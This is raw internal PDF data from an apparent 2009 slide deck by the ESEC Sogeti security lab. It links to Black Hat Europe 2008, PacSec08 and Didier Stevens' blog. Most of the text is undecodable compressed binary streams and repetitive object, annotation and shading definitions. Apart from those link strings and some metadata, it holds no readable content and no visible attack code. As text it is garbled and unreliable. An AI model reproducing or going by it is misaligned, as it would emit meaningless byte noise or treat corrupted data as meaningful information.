aIHyhb]y|:QT;h7p[H_dڃJtj!/Yw0 ѴI Ξ(VžTT%.8$w4 qџg׭h[(3;gX`Ԓ@EAkjeꘛ^H$qΑ gT&V'//@dLt$Q}[1MLͭ:̇u{G9VTۯR:(.]AIHar ,vN*F*<RƄjMqPĴL mjAa ch0*76ܠ$ti7 JbXB|yXep-'2:.jT;HЕ? y7|e;BJ&+i뱴RxEx2.A\&[Wf-), 2mϣ0IET3X%FThzVL,.%ʅqEsJ8Cؾ  V`|A&)!d"DZdr6;qeVj[T!r=i¼-v^OyLYи8VoXyBamV5mrȼhLLdVf~`Ś""{F ,d"11Swe)8gyD(^TH<s6-ZkFR@GÅ1 (pZAANv5OrV&i42*&}u2Asv;Ӥ5ӼmNU@Lѩ(e!}2 t4)=jD, ёFAMTAyF!á!*&| g[cg)3^aL01t[, ѯ' `Sq' J#LLe J7ѽ Xv6j5{Ȗz47,,k #=\3Z i\APP' m ԅ(u< ؝8A .$@#b8klsNZ^+hR76*UӘ 2;>T֫b4Od̠ b"G5J@0L0~ZpʗKyYd#c$(TA KںP hEp*`Tyi,㘠.^X'' 7SuȦ,-CZ"@ fe ha2wB>< ,Ӥaهany+l,D*p)Qp" *% Cр%8X!'EJ̏p `5 RAC‰X 2cz'=#Bƃn`AwzTG ̭:(ڶp)yD5bd[VI_=%IZmcLG;Ή$P)e_cYd܈DyDr 7 IcR#VA| Eb9{ fJ'vXvJq|A a6\3Եh#%[Y@mf1R5`SMO B s+MSH/qU.45lU|,UJl.i+anVL =%2oiimocH&(#ګ 6(Y¢o$y! 1{X\<Zwb|5aFsVĤ 4FEF26TbѴdzq[tS!) k%YKѳ8G-aȅ:jGcLSXӂXSCZ *8I"F'G%ynAHrDKNά-e!]lZHBQ (%ABD*O>A .U䃼6OE9hc>$8=S!i Duj \ s^ 4T>̀2T!Ly19(kS RɕCA m$eilZ-g*RE aYlM ?f3-MX.3 jrcPQ5Mڐcw3 . ''͎$L?CFAaQEpx$jJkI@bd<54 ڰfDFJsSY\!@-wy󌿽P™Qʹd: 4eWo]a .g^ +,Rτʟ:.) QMF? ?$#iRr XD$ڢ !'*Ȩm[$229,v@ZyĊfоBULNilm148=414R`ŵ4dC77CHIDiG*y0.j o|‡CւhiI*G' 4In2OeT~OB b7ޠjz Mk|¬1g48k/<9աRymF fRѩ<fl &PyD?=qfyA(T6 {}ajIPO,:Z\]Mk<]<+!DsK&')1:7HhZ9r aGeGf7UYR\X02rH#yzm{RsKnM-(pTLG^"[Q{OѰޝOh5v,F EkZH  &^k0Ij3Ǔ$է~`E5ΛV8yvjC' Ok~B? BQB=|P?& APQQu3'&4"p8y48`'FH`7(Ɗ7? ̗&ꏍ "G Ȩ-s4Es(Ԗ6 u44 mx b"ჄH f1s^4{n7AD?H Dz1Z켁(A#.W0S*jȓ~pcp;[X+*P ^d (a,4hz  7їq:b2BS) B%oʀ>{"ajQbcIP qxaNse*&ak0Uf0jH"K%19*AP K$ p.?a1<8X(]>stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> endobj 112 0 obj << /D [ 241 0 R /XYZ 334.488 1.245 null ] >> endobj 113 0 obj << /D [ 276 0 R /XYZ 334.488 1.245 null ] >> endobj 114 0 obj << /D [ 1237 0 R /XYZ 334.488 1.245 null ] >> endobj 115 0 obj << /D [ 488 0 R /XYZ 334.488 1.245 null ] >> endobj 116 0 obj << /D [ 631 0 R /XYZ 334.488 1.245 null ] >> endobj 117 0 obj << /D [ 992 0 R /XYZ 334.488 1.245 null ] >> endobj 118 0 obj << /Interpolate false /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/logo-ESEC.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 160 0 R /BBox [ 0 0 104 105 ] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 161 0 R >> /XObject << /Im1 162 0 R >> >> /Length 68 /Filter /FlateDecode >>stream x+TT(T0BC 6U(JUWSw/6TH/J5Yɹ \.@ endstream endobj 119 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 158 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 120 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 159 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 121 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 47.275 166.909 319.959 178.829 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://blackhat.com/html/bh-europe-08/bh-eu-08-archives.html ) >> >> endobj 122 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 47.275 88.035 238.257 99.955 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://security-labs.org/fred/docs/pacsec08/) >> >> endobj 123 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 47.275 21.116 177.406 33.036 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://blog.didierstevens.com/) >> >> endobj 124 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 362.835 272.126 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 157 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 125 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 126 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 127 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 128 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 129 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 130 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 131 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 132 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 133 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 134 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 135 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 136 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 137 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 138 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 139 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 140 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 141 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 142 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 143 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 144 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 145 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 146 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 147 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 148 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 149 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 150 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 151 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F53 154 0 R /F15 155 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 152 0 obj << /Type /Page /Contents 153 0 R /Resources 151 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R 135 0 R 136 0 R 137 0 R 138 0 R 139 0 R 140 0 R 141 0 R 142 0 R 143 0 R 144 0 R 145 0 R 146 0 R 147 0 R 148 0 R 149 0 R 121 0 R 122 0 R 123 0 R 150 0 R ] /AA << /O << /S /GoTo /D [ 203 0 R /Fit ] >> >> >> endobj 153 0 obj << /Length 3030 /Filter /FlateDecode >>stream x\Ys7~ׯ} [\IeK݇>%"(:ɿ1rH[X4@>`&9oxz\\\?7JiLH\O7kJ g^(᪄ծ EGƁ(้S&8F)nj LKLf{?\r>kfh-v"H,9ID#b*3mFfKWP7o 6ᙴ tRJ}2m75zț`CfO3`!fDe(f@rΤNOxbWWY|-R~ޛ-Bs" WdS!8o9t$X{P| S7 X99w҉}E<g.idn`> ,7>Õi%u->7}On mYSWn姭䳜5/p |<|πAEZ˅ X9F!,z }㹠%&}eR$y/-@ ,}IgFCsk4JC?5SSf0orH`h$1tuDn+ &|2Vd6JKaVPxMYe{v687 I8IJh*m* 8*U%5j<{ ȑN$( <ܭ w0*0+5>T{p,wl7E""ag`Ipwp(q|Op |fambp[F[Fs,~O[Pn8_[5rqPAGsD8!C/qx?Ou4L;6O^nѧoІLlؐ^1A%C ͖nzP!m>. f BBЍH!~OfTw OHog00uWLq5 u.--鶑u`#`vQ8eܯ'͞B-QL:AU{$N`qoXOzAi,m,4 >qݼTE0{uيZ-ΔR[CNA &fo\>D&=Y#yIABλ]zͮ6͋9)܍,3hBmr6bU/ a`pQ6mn~ؐ9)-rs)i7Lgw !B%:Ui)!`iײH[,@H_xF{ Z6;!q"ǴwUU/HՋJ5 bȮTaP6}RRj~`Rl6@:?{aI E 'jXv;,^X4w%W)fHѬ↫hw,N~ ӈg:TsU%/ĺ*w,qV;iEeehZ >'N1/hH2W@( v\Bl 9q͸)_q$EqC}+$Ɓnm[8ɯ5F~%2;3Cx[Ge .p^."G<a䋝M7";aU~tb,3I9WȶHin%pi7\!FI}d endstream endobj 154 0 obj << /Type /Font /Subtype /Type1 /BaseFont /IACVDB+CMSSI10 /FontDescriptor 1271 0 R /FirstChar 45 /LastChar 119 /Widths 1252 0 R >> endobj 155 0 obj << /Type /Font /Subtype /Type1 /BaseFont /TGREJZ+CMSS10 /FontDescriptor 1261 0 R /FirstChar 11 /LastChar 122 /Widths 1251 0 R >> endobj 156 0 obj << /D [ 152 0 R /XYZ 334.488 1.245 null ] >> endobj 157 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 0 0 362.8394 0 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 0.99178 0.81334 0.31647 ] /C1 [ 0.98825 0.73334 0.02353 ] /N 1 >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 158 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99707 0.93333 0.75587 ] /C1 [ 0.99707 0.93333 0.75587 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99707 0.93333 0.75587 ] /C1 [ 0.98825 0.73334 0.02353 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 159 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 0.99707 0.93333 0.75587 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 160 0 obj << /Producer (Mac OS X 10.5.7 Quartz PDFContext) /CreationDate (D:20090525122120Z00'00') /ModDate (D:20090525122120Z00'00') >> endobj 161 0 obj << /Type /ExtGState /OPM 1 >> endobj 162 0 obj << /Length 3542 /Type /XObject /Subtype /Image /Width 103 /Height 104 /ColorSpace 165 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x\v8 ̝rwʝN!!H,\=C  o!0FW.ߟ{ ].c)tJ?Vh< [_0*Xa"_I].~z@<VB5F Z1c_=%V.{w']+`碟g.×\ .9(wջX !Wxq"nJ@Ĵ9oa9S9K* ջ,bh^JAWNsb@ dEJjπK &i{6 ҦB @ɹf^%v.0ǐD!W (%>XףX8C/t֊6NɊd 8wjrK̏s &[_$DRyZ_+ a=$.=npߔk{i˖DU_w||':@AVƊ%wĒUCKXm.9;m,WD8lƳ F^uV:Sv$gb1`f]M[6IVNRmݙ Bmu2n֣1 S[lt\ǐ&:)q{Wi'+3/CWm33ݦb";ZeߊĽy ®4cgdܸ efGpIh)tO#)LHdcM3L&5?x)Dj9~z|MAوb/l sq[Jn_0D;gHE4sgij >>Ο:_bQ̡Z^1 J3ª! Yi! X^IjOO }A5pcK*\ vSR2$/:O J٫#&,NJ뽼2GASm9ħVyUjpaBXނf%]@u wXȥl8>tG^sq8E<_l>ĥ.z;^EgwA٬&PWR Xe=?dH:E7 i8@1ҷ4(ڵu'oNR߮Wn6v o}0xm4@ok }2;LPO6Y}zM;ɞ[,? tԮ(Y'KҍbA vC۩{:kmv+6X nB3R;fVg.6JO?}79N8NiFfnQHKQFo3sU9ot.'`$\&?u`܎efd_$FYíͲ^8CFa]@6@QHdN4%}=_r_ߟQnb(-/]113#\Wf7HRum420HD'r]{32| wјY27Q#w7,/!2`KsٯHD*vS}O9Z/~/caQSg@;ڴtѷx4 Gh4Nu0=~(9"RG0-OCfEuPmK~U9I#eja=U=w]GGBKrGo {ts:q7qܫbi'Dq~m X߉:k!j- sAFLq2I0PZQ"̧ p24Q]~ }=I̯5idi٢eʘd۶BGPp>;Q ƸbOeD%9/2ahP&2a88e^5@.<[@b gaK/٨~L =my1ȍƊB,vl1odM) rxk] :byxLN,yFrήu,YX>4! }=ڙY푯y\!]czInb42QS Z6ٌ؄f#;#w - ńW&L^Q뺣NP%`G)6#縣u6b58aķ*h&VR{Rt!^ŞwߨiT!@`1J28M?#bXMl3Õ:V,wK]r{^:0*Ѳ=[m SuNEb`6$`#Vk 3k[ˁrͬ']ɜ|/`Ī4z|$r3߂N'7~L^RЧ2zw!KC? m. endstream endobj 163 0 obj 68 endobj 164 0 obj 3542 endobj 165 0 obj [ /ICCBased 166 0 R ] endobj 166 0 obj << /Length 792 /N 3 /Alternate /DeviceRGB /Filter /FlateDecode >>stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> endobj 169 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 207 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 170 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 3.778 3.778 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 208 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 171 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 209 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 172 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 212 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 173 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 8 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 210 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 174 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 16 16 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 211 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 175 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 213 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 176 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 177 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 178 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 179 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 180 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 181 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 182 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 183 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 184 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 185 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 186 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 187 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 188 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 189 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 190 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 191 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 192 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 193 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 194 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 195 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 196 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 197 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 198 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 199 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 200 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 201 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 202 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Fm10 171 0 R /Fm12 173 0 R /Fm13 174 0 R /Fm11 172 0 R /Fm14 175 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 203 0 obj << /Type /Page /Contents 204 0 R /Resources 202 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 176 0 R 177 0 R 178 0 R 179 0 R 180 0 R 181 0 R 182 0 R 183 0 R 184 0 R 185 0 R 186 0 R 187 0 R 188 0 R 189 0 R 190 0 R 191 0 R 192 0 R 193 0 R 194 0 R 195 0 R 196 0 R 197 0 R 198 0 R 199 0 R 200 0 R 201 0 R ] /AA << /O << /S /GoTo /D [ 241 0 R /Fit ] >> >> >> endobj 204 0 obj << /Length 2397 /Filter /FlateDecode >>stream xZKsWLrw9.)']q%dUQ02"yXP@1V*R3=MO?f5#x 5G佤MFT:hl_z;Awiz+5E {bTx@M"Pr^Sȳ#hOSU= q'd ʇU}@zrGt;n8uߥHrsI q'd`%y.oR{u1 }oH邤ϚW87*!QkŷGldY/*aC&&I1lhE0^W@slI?g5ǯnӈ8Z;7yTrNڞ*ߘ=ɚdd da{\4.vp>zyCn^h8ʁBt!v\=`tS)2M*L)O.Ș%&o12"R>[ȷoGyκFTL2F7$F>Fҥr8ѷSP{pS}>Ȱ;/$q粲_9*`I+#)]F0jFMfASNI(yj?d&x=BRW䞧mI0ZwJ!&.6_09-y'_Tos8GBlߚՔ47(~Ap+L_ "Ij Fҝ,:#ڒa1U^5ijZ乀10igԢL'1[Hʉ[Sl'`2Aja9ӡw5)c09#4r8#;x NGr1j_|8pZ~E  Ipn 5`,k1# !P:Jϱ.֕KwBA!3o}ƎE$hn=@M+.I4i:XъPZB0bx2D}-2]?)+D%_xN?U{ɾVtE+BqH%P?e1VWEAFaDCikx7Ż17mnݑoqg4NJ[b&95b>fQC5"8s-Ƒ2REbb 